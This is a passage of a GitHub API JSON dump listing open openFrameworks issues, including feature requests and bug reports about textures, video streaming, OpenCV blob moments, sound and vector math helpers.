video","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":2,"created_at":"2010-10-13T16:33:06Z","updated_at":"2013-07-07T17:40:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/228","id":309191,"number":228,"title":"remove bAllocated in ofTexture?","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2010-09-09T14:20:55Z","updated_at":"2011-04-19T00:32:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/225","id":295913,"number":225,"title":"ofxVectorMath constants","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-08-31T10:54:19Z","updated_at":"2010-08-31T10:54:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/224","id":290973,"number":224,"title":"gaussian noise","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":11,"created_at":"2010-08-26T10:21:24Z","updated_at":"2013-07-01T18:48:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/181","id":171615,"number":181,"title":"ofxCvBlobs","user":{"login":"vanderlin","id":149997,"avatar_url":"https://0.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https%3A%2F%2Fidenticons.github.com%2F9e9c49562cad72e3a40a0e2078c45a2b.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2010-04-14T15:42:22Z","updated_at":"2010-04-14T15:48:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/172","id":166209,"number":172,"title":"rgb + alpha -> blit to texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":3,"created_at":"2010-04-06T19:40:28Z","updated_at":"2013-06-15T20:23:15Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" the idea is to be able to easily combine a rgb and alpha image into a rgba texture or ofImage. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/167","id":165898,"number":167,"title":"replace fmod","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":5,"created_at":"2010-04-06T12:13:31Z","updated_at":"2013-05-24T22:53:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/140","id":163959,"number":140,"title":"texture compression and mipmaps for of texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":4,"created_at":"2010-04-02T19:43:00Z","updated_at":"2013-07-11T15:07:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/126","id":132377,"number":126,"title":"ofATan2GL / ofVecToGL ?","user":{"login":"openframeworks","id":142866,"avatar_url":"https://1.gravatar.com/avatar/1061569f505705f6ba1f485673c5cc3b?d=https%3A%2F%2Fidenticons.github.com%2Fa539871f08dd8f7c88f24bb7e1c1ed79.png","gravatar_id":"1061569f505705f6ba1f485673c5cc3b","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":5,"created_at":"2010-02-13T14:22:51Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/124","id":132373,"number":124,"title":"TTF type rendering in OF - fix fuzziness 